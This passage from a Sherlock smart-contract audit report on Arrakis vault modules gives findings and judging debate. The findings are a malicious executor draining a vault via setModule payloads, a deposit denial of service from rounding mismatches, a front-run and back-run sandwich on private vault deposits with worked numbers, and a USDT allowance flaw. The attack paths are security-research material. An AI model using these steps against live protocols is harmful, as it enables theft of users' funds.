https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L384-L397

Tool used

Manual Review

Recommendation

Do not allow `HOT.depositLiquidity()` to be called during a rebalance.

Discussion

cu5t0mPeo

escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.

sherlock-admin3

> escalate not dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/76 the issue should be dups of https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/28 Because it also exploiting the router in the swap and malicious payload.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

IWildSniperI

i would say all of them are dups to the same issue which is this

> malicious payload with not checked `_router` call either this is used to gain leverage to the system or to steal funds

cause either way this specific low level call is the `Root Cause`

0xjuaan

Escalate

A different escalation to the first one.

This should be a high, since 99% of vault liquidity is stolen.

sherlock-admin3

> Escalate
>
> A different escalation to the first one.
>
> This should be a high, since 99% of vault liquidity is stolen.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

@0xjuaan do you agree it's a duplicate of #28?

0xjuaan

@WangSecurity no these are both very different.

This one involves stealing all the vault funds via minting cheap shares during rebalance.

#28 involves calling `claimPoolManagerFees` instead of performing a swap, to obtain the manager fees and re-deposit them through the rebalance, rather than passing the manager fees to the manager.

IWildSniperI

@WangSecurity hello sir, would you kindly elaborate to me dups rules here multiple issues here identifying this low level call here by malicious executor

```
{
    (bool success,) = router_.call(payload_);
    if (!success) revert SwapCallFailed();
}
```

in `ValantisModule::swap()` as different issues cause they are showing different attack path that can hurt the protocol what i see is that if ever in the payload the `router` address verified all of the issues would be resolved hinting that they are same root cause

WangSecurity

Before we continue the discussion about this specific report, let's do the following:

Tagging all Watsons who submitted and escalated reports about the malicious executor stealing funds or harming the protocol in general via `ArrakisStandardManager::rebalance` (Arrakis Standard Manager = ASM):

@CergyK @0xjuaan @cu5t0mPeo @kennedy1030 @ADK0010 (please tag the missing ones if there are any, also tagging @IWildSniperI cause active in the discussions).

Here're the issues:

- #9
- #19
- #20
- #49
- #53
- #76

- #55
- #56
- #59
- if there are any missed please flag them here.

As I see, in all of these functions the exploit happens at the call to the router (input by the malicious executor) with arbitrary `payloads` in ASM. In some of them, the problem is solved via setting additional validation on the called functions (for example, price bounds), in others, the problem is solved by setting additional constraints on the `payloads`. So I'd like to get a clarification from Watsons on how you view these issues and why you think they have different root causes (the explanation can be as simple as possible, just 1 sentence).

For now, let's continue the discussion here, and then we'll move to each specific report. Also, I know that in some reports the problem is in the quality of the report, we'll discuss it once we finish this discussion

cu5t0mPeo

@WangSecurity https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19 is not a duplicate of this issue.

ADK0010

Yaah they all seem to be together , but as you mentioned some of the above reports have faults in it - so I don't think all of them are valid as they might not either have essential elements to execute the attack or they have forgotten about some checks done by Protocol making their attack invalid.

@WangSecurity please look into discussions #76 , #55 , #59 ,#9 , #49

Also this issue seems to be part of the same family #8 , as it involves `Doing an arbitrary call to an arbitrary address (router_.call(payload_))` as you can see in the report - the root cause seem to be same (it's just that the arbitrary call is done onto `SovereignPool`) and attack path has been well explained by report , so a valid dup .

IWildSniperI

@WangSecurity from what i see, every issue solved by validation of the router low level call should be grouped together If the solution happens, then no one can call any leveraged function in the sovereign pool or in the HotModule nor Hot.sol in the context of arrakisMetaVault No one would be able to call malicious routers to drain funds

WangSecurity

To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's `ArrakisPublicVaultRouter` or `RouterSwapExecutor`? Correct me if wrong.

cu5t0mPeo

> To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's `ArrakisPublicVaultRouter` or `RouterSwapExecutor`? Correct me if wrong.

The router is not restricted; it can be any address on Ethereum. `ArrakisPublicVaultRouter` is a user input value. Users can deposit through this contract, which will then call the relevant functions of the public vault to deposit the amount into the pool. Additionally, this contract can perform a swap before making a deposit. When users perform a swap, they will be using `RouterSwapExecutor`.

WangSecurity

Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

cu5t0mPeo

> Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

It should be impossible because if you want to call the functions in `ArrakisPublicVaultRouter` during `rebalance`, the amount will eventually be deposited into the pool. This prevents `rebalance` from completing subsequent checks because, during the swap, the entire amount is withdrawn from the pool and then redeposited. `RouterSwapExecutor` is generally called by `ArrakisPublicVaultRouter`.

If other Watsons find any errors in my description above, please correct me.

cu5t0mPeo

@WangSecurity Here is the related proof:https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L106-L113

0xjuaan

@WangSecurity, I believe that while the vulnerabilities involve the same external call for the attack, they should be not duplicated for the following reasons:

1. To say that the fix for all the issues is to simply place a whitelist on the `router_` parameter is too restrictive. The executor should be able to search for the best opportunity to swap on-chain during the rebalance, depending on how much value to swap which changes over time. If a whitelist was used, and a new router is found that can achieve the swap at the best rate, it would take 2+ days to add it to the whitelist.
2. The entire reason for the various checks (`expectedMinReturn_`, TVL slippage check, price oracle check) in the `ArrakisStandardManager.rebalance()` function and `ValantisHOTModule.swap()` function is to prevent a malicious `router_` from being used, since they aim to catch errors that steal funds from the protocol during the rebalance.

The attacks show ways to bypass these checks with completely different methods, so the fix should be to add more checks (similar to the checks that already exist).

For example, for #44 a valid fix would be to prevent `mint()` from being called on the vault during a rebalance through a cross-contract non-reentrant check, alternatively the solution provided by @CergyK in #76 also helps to minimise the damage.

On the other hand, #8 exploits the fact that the external call can be used to call admin-only functions in the `SovereignPool` via the `ValantisHOTModule`, causing stolen funds for the manager. The fix would be to disallow the `router_` from being any contracts which provide admin-only functionality to the `ValantisHOTModule` to prevent the executor from breaching access control.

Summary

While restricting `router_` to a whitelist technically prevents the attacks, it also hinders the functionality of the protocol and is an overly restrictive solution, and is definitely not optimal. Since there are already various checks during rebalance, it is clear that the protocol intent was to allow the `executor` to provide any `router_` as long as it meets constraints like `expectedMinReturn_` and the vault TVL does not drop significantly after the rebalance.

The attacks show features that the protocol did not consider (1. minting cheap shares from the vault, or 2. calling admin-only functions), so additional checks should be added to prevent these attacks.

This means that the reports should not be duplicated, since their attack methods and root causes are different.

WangSecurity

Thank you very much for that clarification. I agree these all shouldn't be duplicates under one family. Moving the discussion to each individual issue.

WangSecurity

About escalations on this report:

I believe it's not a duplicate of #28, since the attack, the impact and the fix are completely different. Planning to reject the first escalation.

I agree with the second escalation that it's high severity, cause even with the constraints, the losses are still 99%. Planning to accept the second escalation.

Since the current decision is to invalidate #76 and #55, this report will become a solo high.

ADK0010

@WangSecurity 2 Reasons given by @0xjuaan here , I have some doubts regarding it .

1) Yaah , there are many exchanges across Defi which uses whitelisted routers for swap but it doesn't mean they don't get best rates . Best rates amongst the whitelisted routes can be chosen by executor to perform the swap . just because some new swap router shows better rates , executor shouldn't be allowed to use it - as it might be a Malicious router , so it's always better to use only whitelisted routers and a timelock of 2+ days is acceptable here .
2) Yaah , all the checks involved are to reduce possibility of drainage of funds from the Protocol , it is true .

My point is - it is true that reports mention by @WangSecurity at here (other than the invalid ones) have completely different paths to exploit the invalid `_router` setup by Malicious executor & it would have been judged as separate issues in any other platforms . But the Sherlock Rules for this contest says something different - ‘There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

- B -> high severity path
- C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.‘ see here I think watsons who participated in judging contest would have duplicated this based on this rule . This would be my last comment on these set of issues unless someone put's out some vague comment on the same . I'm okay with whichever way it would be judged as the attack paths are definitely different in the reports mentioned above .

WangSecurity

It's a very fair point, but I believe in that case it would be fairer to separate those into different groups, since as I understand whitelisted routers are not implemented

now to give that freedom of choosing the better one. Also this part of the rule:

> The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately

Hence, I believe better to separate them in this specific case.

Hence the decision remains the same as expressed here

WangSecurity

Result: High Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- 0xjuaan: accepted
- cu5t0mPeo: rejected

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-4: ArrakisMetaVault::setModule Malicious executor can drain the vault by calling withdraw after initializePosition

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/50

Found by

cergyk, cu5t0mPe0, iamandreiski, juaan

Summary

A malicious executor, after a new module is whitelisted by an admin, can drain the vault by calling `ArrakisStandardManager.setModule()` with a malicious `payloads_`.

Vulnerability Detail

The `setModule()` function of the `ArrakisStandardManager` contract allows an executor to set a new module for a vault: ArrakisStandardManager.sol#L438.

It calls `ValantisModule.withdraw()`, to withdraw the funds from the pool and transfer to the new module: ValantisHOTModule.sol#L235.

Once the vault's funds are in the new module, the first malicious `payloads_` is executed and calls `ValantisModule::initializePosition` to deposit the liquidity back into the pool: ValantisHOTModule.sol#L148.

Lastly, the second `payloads_` of the malicious executor gets executed and calls `ValantisModulePublic::withdraw` which calls `ValantisModule::withdraw` on the new module and withdraws all funds to an arbitrary address: ValantisHOTModule.sol#L203.

Impact

Theft of all funds in the vault.

Scenario

1. Owner whitelists a legitimate new module with `ArrakisMetaVault::whitelistModules`.
2. Malicious public vault executor calls `ArrakisStandardManager::setModule` with a malicious `payloads_`.
    1. It calls `ArrakisMetaVault::setModule`.

2. It calls `ValantisModulePublic::withdraw` which calls `_module.withdraw(module_, BASE)` to withdraw all vault's funds from old to new module.
3. Malicious executor has provided two payloads
    1. The first one calls `ValantisModule::initializePosition` to deposit liquidity into the new pool.
    2. Then the second malicious `payloads_` is executed and contains a call to `ValantisModule::withdraw` with attacker as the receiver

Please note that instead of calling `withdraw` on the new module, enabling direct theft of funds, the executor can also call `withdrawManagerBalance` which would transfer all the balance of the module to the manager. Or also not call any function at all (payloads is an empty array), and leave the balances in the module.

Code Snippet

- ArrakisMetaVault.sol#L130

Tool used

Manual Review

Recommendation

Check that the reserves in the new pool are correct after setting the new module, similarly to what is currently done at the end of `ArrakisStandardManager::rebalance`: https://github.com/sherlock-audit/2024-03-arrakis/blob/d7946ee784ca8df3246d723e8b92529447e23bb7/arrakis-modular/src/ArrakisStandardManager.sol#L391-L414

Discussion

0xjuaan

Hi @0xffff11, #45 is a completely different issue and should not be duped with this one

WangSecurity

Tagging here the Watsons who submitted and escalated their findings about malicious executor exploiting the protocol via `setModules` in `ArrakisStandardManager`:

@CergyK @0xjuaan @cu5t0mPeo @iamandreiski (I assume there might be more, please tag everyone I've missed)

Here're the escalated findings:

- #35
- #21
- #27
- #14
- #45
- if there are any missing please also send them in this discussion.

Gentlemen, I've got you all here, as we all know in the README it says the executor for Arrakis Standard Manager (let's call it ASM) is RESTRICTED during rebalance actions. These vulnerabilities above are about exploiting `setModules`, so as I understand, the executor in that case is TRUSTED. So I've got three questions here:

1. Is there any evidence that the sponsors agree they're untrusted and restricted for `setModules` or it's only for `rebalance` indeed?
2. Are your submissions possible via `rebalance` or only via `setModules`?
3. #27 and #14 are dups of each other and as I understand they're about the problem with new modules being incorrectly set, but both mention malicious executor, which is trusted in that case. Are they possible with a TRUSTED executor and without a mistake?

Let's keep the discussions here and then, depending on the answers to these questions, we could move the talks to issues individually.

cu5t0mPeo

@WangSecurity Hi, here is the sponsor's explanation about the executor in my private thread: "When the executor is calling `setModule`, he will interact with the module through the vault. The module functions exposed to the vault should be safely implemented. In this case, the executor isn't trusted, so the module's exposed function to `setModule` should be safe."

0xjuaan

Furthermore, it does not make sense for an actor to be trusted to use one function non-maliciously, but untrusted for a different function.

Sponsor's intention is confirmed here:

0xjuaan

Also @WangSecurity, #14 and #27 do not involve any special malicious actions. Its a mistake in the code. Whenever `setModule` is called (with perfectly correct payloads), all the funds are sent to the `ArrakisStandardManager` incorrectly.

WangSecurity

Thank you for these clarifications.

> Furthermore, it does not make sense for an actor to be trusted to use one function non-maliciously, but untrusted for a different function.

Fair enough, still wanted to get a confirmation. Let's proceed to each individual issue.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-5: Adding liquidity can be DoSed due to calculation mismatches

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/54

Found by

KupiaSec, cu5t0mPe0, juaan, whitehair0330

Summary

When users add liquidity, they send tokens to the `ArrakisPublicVaultRouter` contract. The `ValantisHOTModulePublic` contract then takes the required tokens from the `ArrakisPublicVaultRouter` contract. However, due to a calculation mismatch, the required amount is often greater than the user-sent amount, causing the transaction to be reverted.

Vulnerability Detail

Let's consider following scenario:

1. The current state:
    - pool: `reserve0 = 1e18 + 1, reserve1 = 1e18 + 1`
    - vault: `totalSupply = 1e18 + 1`
2. Bob calls the `ArrakisPublicVaultRouter.addLiquidity()` function with the following parameters:
    - `amount0Max = 1e18, amount1Max = 1e18`
3. At L139, the `_getMintAmounts()` function returns:
    - `(sharesReceived, amount0, amount1) = (1e18 - 1, 1e18 - 1, 1e18 - 1)`
4. The router contract takes `token0` and `token1` from Bob in amounts of `1e18 - 1` each and calls the `_addLiquidity()` function with above parameters.
5. In the `_addLiquidity()` function, `ArrakisMetaVaultPublic.mint(1e18 - 1, Bob)` is invoked at L898.
6. In the `ArrakisMetaVaultPublic.mint()` function:
    - at L58, the `proportion` is recalculated as `1e18 - 1`
    - `_deposit(1e18 - 1)` is called at L71
    - in the `_deposit()` function, `ValantisHOTModulePublic.deposit(router, 1e18 - 1)` is invoked at L150

7. In the `ValantisHOTModulePublic.deposit()` function:
    - `amount0 = 1e18, amount1 = 1e18`(at L71, L73)
    - at L79, L80, it takes `token0` and `token1` from the router in amounts of `1e18` each

Finally, the process fails because there is only `1e18 - 1` in the router, as mentioned in step `4`.

This problem occurs because the calculations in the `ArrakisPublicVaultRouter._getMintAmounts()` function rely on rounding down. In contrast, the proportion calculation in the `ArrakisMetaVaultPublic.mint()` function and the amount calculations in the `ValantisHOTModulePublic.deposit()` function are based on rounding up.

Impact

Adding liquidity can be `DoS`ed due to the calculation mismatches.

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L122-L191

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L869-L901

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L1194-L1231

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisMetaVaultPublic.sol#L51-L74

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisMetaVaultPublic.sol#L137-L154

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L35-L96

Tool used

Manual Review

Recommendation

The `ArrakisPublicVaultRouter._getMintAmounts()` function should be updated to return the accurate required amounts.

Discussion

KupiaSecAdmin

Escalate

The severity of this issue should be high, as the probability of the calculation mismatch occurring is quite high.

sherlock-admin3

> Escalate
>
> The severity of this issue should be high, as the probability of the calculation mismatch occurring is quite high.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

In Sherlock, we don't judge issues based on the probabilities. As I understand there's no material loss, but the issue has serious non-material losses, cause as I understand, it's possible that there will always be users who cannot deposit due to this issue. Hence, I agree that high severity is appropriate here, planning to accept the escalation and upgrade severity to high.

Gevarist

Valid finding, for us it's a low level finding.

CergyK

> In Sherlock, we don't judge issues based on the probabilities. As I understand there's no material loss, but the issue has serious non-material losses, cause as I understand, it's possible that there will always be users who cannot deposit due to this issue. Hence, I agree that high severity is appropriate here, planning to accept the escalation and upgrade severity to high.

This should remain medium, as there is no loss of funds.

In the hypothetical case some deposit absolutely has to be carried on, the simple work-around of sending some DUST of tokens to the contract would unlock the situation.

> It seems that Sherlock has a new rule to identify high issues which is cited here: `2. Inflicts serious non-material losses (doesn't include contract simply not working).` Which seems inconsistent with how to

identify a medium issue: `2. Breaks core contract functionality, rendering the contract useless or leading to loss of funds.` As the rule to identify the medium issue uses a higher impact?

KupiaSecAdmin

@CergyK

> In the hypothetical case some deposit absolutely has to be carried on, the simple work-around of sending some DUST of tokens to the contract would unlock the situation.

Sending DUST of tokens cann't resolve the problem.

In the `_addLiquidity()` function of the router contract, the contract approves tokens to the module. Subsequently, in the `deposit()` function of the module, the module brings those tokens from the router contract. For the transaction to succeed, the router contract must approve enough tokens to the module. Therefore, only sending tokens cannot resolve the problem.

```
IERC20(token0_).safeIncreaseAllowance(module, amount0_);
```

```
token0.safeTransferFrom(depositor_, address(this), amount0);
```

Impossibility of deposit should be considered as a HIGH severity issue.

CergyK

> @CergyK
>
> > In the hypothetical case some deposit absolutely has to be carried on, the simple work-around of sending some DUST of tokens to the contract would unlock the situation.
>
> Sending DUST of tokens cann't resolve the problem.
>
> In the `_addLiquidity()` function of the router contract, the contract approves tokens to the module. Subsequently, in the `deposit()` function of the module, the module brings those tokens from the router contract. For the transaction to succeed, the router contract must approve enough tokens to the module. Therefore, only sending tokens cannot resolve the problem.
>
> ```
> IERC20(token0_).safeIncreaseAllowance(module, amount0_);
> ```
>
> ```
> token0.safeTransferFrom(depositor_, address(this), amount0);
> ```
>
> Impossibility of deposit should be considered as a HIGH severity issue.

Ok I see. Indeed depositing would be impossible in that case. Still this is a medium severity issue since it is a DOS of a core functionality, but no loss demonstrated

KupiaSecAdmin

> IV. How to identify a high issue: 2. Inflicts serious non-material losses (doesn't include contract simply not working).

Based on the judging rule, I think the issue deserves high severity, because it inflicts serious non-material losses, which is not contract simply not working.

0xjuaan

@KupiaSecAdmin that rule actually says that there must be a non material loss other than the contract simply not working.

Since this bug simply causes a function to not work, I agree with @CergyK that this should be medium.

WangSecurity

@0xjuaan could you please elaborate? The rule says non-material losses, excluding the contract simply not working. Here, the contract is working, but the deposits are DOSed?

Also, another question, are the contracts upgradable and in reality could this issue be solved by updating the contract?

0xjuaan

It seems similar to this issue which is medium severity.

From what I understand, the rules say that the non-material loss must not be that a contract/function simply is not functional. However in this bug, that is the impact.

Note I did submit this so am not incentivised to disagree with the escalation, but it based on the rules I don't see any way this can be high severity.

WangSecurity

@0xjuaan could you please elaborate on what do you think includes "serious non-material losses"? So I can better understand how I can explain my decision better.

WangSecurity

The decision remains the same. I believe in that case it's not just a function simply doesn't work, but deposits into protocol are DOSed, hence, it's serious non-material losses. Planning to accept the escalation and upgrade severity to high.

0xjuaan

Honestly I still think @CergyK's stance is correct since deposits are technically not DoS'd, they can occur via the vault directly.

I do benefit from it being converted to H though so I don't mind either way.

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/ArrakisFinance/arrakis-modular/pull/88

CergyK

> @0xjuaan could you please elaborate on what do you think includes "serious non-material losses"? So I can better understand how I can explain my decision better.

One possible interpretation is that the line in the Sherlock rules:

> 2. Inflicts serious non-material losses (doesn't include contract simply not working).

was added to enable high severity issues in protocols which are not handling financial assets (SocialFi, data-availability). Otherwise it is too vague, and can be applicable to any valid issue (low, medium, high).

WangSecurity

> Honestly I still think @CergyK's stance is correct since deposits are technically not DoS'd, they can occur via the vault directly.

Hm, I may have misunderstood that point. As I understand @CergyK talks about sending dust amounts to the contract, to mitigate the DoS. But this was answered here, which @CergyK agreed with. If I'm missing something please correct.

> was added to enable high severity issues in protocols which are not handling financial assets (SocialFi, data-availability)

Fair point, but I still believe DOS of depositing into the protocol is indeed serious non-material loss.

But correct me on the first if I'm wrong.

WangSecurity

The decision remains the same. Planning to accept the escalation and upgrade severity to high.

WangSecurity

Result: High Has duplicates

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- KupiaSecAdmin: accepted

sherlock-admin2

The Lead Senior Watson signed off on the fix.

Issue H-6: ArrakisMetaVaultPrivate::fund No slippage control on private vault deposit can cause unlimited loss to owner

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/80

The protocol has acknowledged this issue.

Found by

cergyk, juaan

Summary

An attacker can front-run a deposit transaction for an `ArrakisMetaVaultPrivate`, forcing the depositor to deposit in an unbalanced way. This increases liquidity around an unfavorable price, leading to a loss of one side of the provided liquidity.

Vulnerability Detail

The owner of a private vault has full ownership of the shares of liquidity, so they are not even calculated explicitly. It is thus not possible to quantify the slippage control as a `minimum amount of shares minted`.

However, by providing liquidity around an unfavorable price, the owner of the vault exposes one side of his liquidity to be backrun, as we will see in the concrete example below.

Impact

An attacker can manipulate the price at which liquidity is added, leading to potential losses for the depositor.

PoC

To simulate the scenario, we use the Python script from the uniswapv3book

Scenario

Initial Pool State

- DAI is trading **1 : 1** to USDC.
- Price bounds set are: **[0.5, 1.5]**.

- Reserves: 1000 USDC : 1000 DAI
- Liquidity: 3414
- Price: 1

Steps

1. Bob is a private vault owner and creates a tx to deposit **1000 USDC** : **1000 DAI**.
2. Alice front-runs Bob tx and swaps **1366 USDC** for **975 DAI** to decrease USDC price down to **0.51**.

   Pool State After Alice Front-runs

   - Reserves: 2366 USDC : 25 DAI
   - Liquidity: 3553
   - Price: 0.51
3. Bob transaction goes through, he deposits **1000 USDC** : **1000 DAI**.

   Pool State After Bob's Transaction

   - Reserves: 3366 USDC : 1025 DAI
   - Liquidity: 5765
   - Price: 0.51
4. Alice back-runs Bob's tx, and swaps `1647` DAI for `2307` USDC making a profit of **269 USDC**.

Code Snippet

- ValantisHOTModulePrivate.sol#L50

Tool used

Manual Review

Recommendation

Enable private vault depositors to control deviation parameters exposed in `HOT::depositLiquidity`: `_expectedSqrtSpotPriceLowerX96` and `_expectedSqrtSpotPriceUpperX96`

in ArrakisMetaVaultPrivate.sol::fund interface

Discussion

Gevarist

Hi, HOT smart contract already has an oracle against which the pool price is checked. https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/valantis-hot/src/HOT.sol#L482

CergyK

Escalate

> Hi, HOT smart contract already has an oracle against which the pool price is checked. https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/valantis-hot/src/HOT.sol#L482

There are some cases in which the feeds are not set and these checks are not used (e.g AMM-only mode as mentionned here).

Also the severity should be high since it is permissionless to exploit this vulnerability

sherlock-admin3

> Escalate
>
> > Hi, HOT smart contract already has an oracle against which the pool price is checked. https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/valantis-hot/src/HOT.sol#L482
>
> There are some cases in which the feeds are not set and these checks are not used (e.g AMM-only mode as mentionned here).
>
> Also the severity should be high since it is permissionless to exploit this vulnerability

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

WangSecurity

Agree with the escalation, planning to accept and validate with high severity.

WangSecurity

Result: High Has duplicates

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- CergyK: accepted

Gevarist

Hi Arrakis will not support HOT alm that doesn't have feed.

Issue M-1: USDT is not supported

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19

Found by

cu5t0mPe0

Summary

When approving USDT, the allowance value needs to be set to 0 first before it can be used correctly. However, the 4.9.5 version of OpenZeppelin does not internally call `forceApprove`.

Vulnerability Detail

Users can perform swap operations using `RouterSwapExecutor`, but the actual amount used in `params_.swapData.amountInSwap` and `params_.swapData.swapPayload` can differ. For USDT, this will result in the contract being unable to use the pool again.

Additionally, other parts of the protocol are also affected. For example, in `ValantisHOTModule.swap`, setting the router to a specific SovereignPool and passing parameters that cause the actual balance used to be less than amountIn will result in the allowance not being 0. This prevents the module from directly interacting with the SovereignPool again.

Impact

The contract may not work properly

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/RouterSwapExecutor.sol#L41-L116
https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L326-L416

Tool used

Manual Review

Recommendation

It is recommended to upgrade openzeppelin

Discussion

cu5t0mPeo

Escalate In OpenZeppelin version 4.9.5, `safeIncreaseAllowance` does not call `forceApprove`, and during a swap, the actual transfer amount is determined by `swapPayload`. This allows users to set the `swapPayload` amount lower than `params_.swapData.amountInSwap`, ultimately causing issues with USDT support. This behavior is inconsistent with the Sherlock documentation, which states that USDT is supported, thereby violating the main invariant.

sherlock-admin3

> Escalate In OpenZeppelin version 4.9.5, `safeIncreaseAllowance` does not call `forceApprove`, and during a swap, the actual transfer amount is determined by `swapPayload`. This allows users to set the `swapPayload` amount lower than `params_.swapData.amountInSwap`, ultimately causing issues with USDT support. This behavior is inconsistent with the Sherlock documentation, which states that USDT is supported, thereby violating the main invariant.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xjuaan

This is likely a valid medium, since the `swapPayload` can differ from the `amountInSwap`

WangSecurity

To clarify what's the impact here, if someone swaps via Arrakis with `params_.swapData.amountInSwap` and `params_.swapData.swapPayload` being different, then `RouterSwapExecutor` will be unable to make more swaps after it?

Also `swap` in `RouterSwapExecutor` has `onlyRouter` modifier, I assume it's a contract, could you please forward me to the code where the router calls `RouterSwapExecutor`.

And in `ValantisHOTModule`, there's an `onlyManager` modifier, hence, I believe they're trusted to provide correct inputs.

cu5t0mPeo

@WangSecurity Hi, the entire project has two different swaps: one in the RouterSwapExecutor contract and the other in the ValantisHOTModule.

The swap in RouterSwapExecutor is called by the related swap function of ArrakisPublicVaultRouter. This allows anyone to call it, so there is a possibility that `params_.swapData.amountInSwap` might not equal `params_.swapData.swapPayload`.

The swap in ValantisHOTModule is called by the executor from the ArrakisStandardManager contract. Since the executor is not trustworthy during rebalancing, the actual amount passed might not equal the amount used.

When calling the approve function of USDT, it first checks if the approve amount has been set to zero. If not, it will revert.

USDT source code:https://etherscan.io/address/0xdac17f958d2ee523a2206206994597c13d831ec7#code

cu5t0mPeo

> Also `swap` in `RouterSwapExecutor` has `onlyRouter` modifier, I assume it's a contract, could you please forward me to the code where the router calls `RouterSwapExecutor`.

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L938-L939

0xjuaan

> And in ValantisHOTModule, there's an onlyManager modifier, hence, I believe they're trusted to provide correct inputs.

Hi @WangSecurity it may be confusing, but the `onlyManager` modifier does not mean that trusted inputs are provided. The `ValantisHOTModule` an Arrakis contract, which is meant to talk to a `HOT` ALM from Valantis.

So the 'manager' is not a trusted valantis manager, but is actually the `ArrakisStandardManager` contract which is the entry-point for the malicious executor to perform rebalances.

WangSecurity

And to 100% clarify, the entry-point of this attack is `rebalance` function inside `ArrakisStandardManager`?

cu5t0mPeo

> And to 100% clarify, the entry-point of this attack is `rebalance` function inside `ArrakisStandardManager`?

The entry point for the attack is not only `rebalance`; there is also a path through the swap-related functions of the `RouterSwapExecutor` contract. Unlike `rebalance`, this

path can be called by any user. Therefore, this issue is not the same as the issue with `rebalance` as the entry point.

cu5t0mPeo

@WangSecurity Hi, I'd like to provide some additional context to explain why this issue is different from the malicious router and malicious payloads category.

1. The key reason for this issue is that certain parts of the current protocol do not support USDT, as mentioned in previous comments.
2. Calling a standard swap pool in `RouterSwapExecutor` is an expected behavior. For example, when calling the swap function of a SovereginPool, the amount spent may not exactly equal `params_.swapData.amountInSwap` because the SovereginPool calculates the amount before invoking the `transferFrom`. The calculations are done using rounding down, so the actual amount used may be less than `params_.swapData.amountInSwap`. Another example is using Uniswap V3. If the `exactOutputSingle` function is used for swapping, it could also result in the consumed amount differing from the allowance. Both of these operations are normal and do not involve any malicious behavior.
3. I mentioned two attack paths, one entry point being rebalance and the other being `ArrakisPublicVaultRouter`. Only one of these paths is related to a malicious router. However, considering point two, even if the executor is not malicious, there will still be an issue with USDT not being supported.

These three points illustrate that the protocol does not support USDT and also explain why this is not the same type of vulnerability as malicious payloads and routers.

WangSecurity

Thank you for that explanation. Planning to accept the escalation and validate with medium severity. Are there any duplicates?

cu5t0mPeo

> Thank you for that explanation. Planning to accept the escalation and validate with medium severity. Are there any duplicates?

not have dups

WangSecurity

Result: Medium Unique

sherlock-admin4

Escalations have been resolved successfully!

Escalation status:

- cu5t0mPeo: accepted

Gevarist

Hi @cu5t0mPeo, instead of upgrading openzeppelin we can use forceApprove right?

cu5t0mPeo

> Hi @cu5t0mPeo, instead of upgrading openzeppelin we can use forceApprove right?

Hi @Gevarist , I just realized that the best fix for this issue should be to reset the allowance value to zero after calling `swap`. If it is not reset to zero, the executor might be able to use the allowance value to transfer funds from the `module` contract (from the pool's manager fee).

Gevarist

@cu5t0mPeo except no fund should stay inside the valantis module that can be exploitable by this extra allowance.

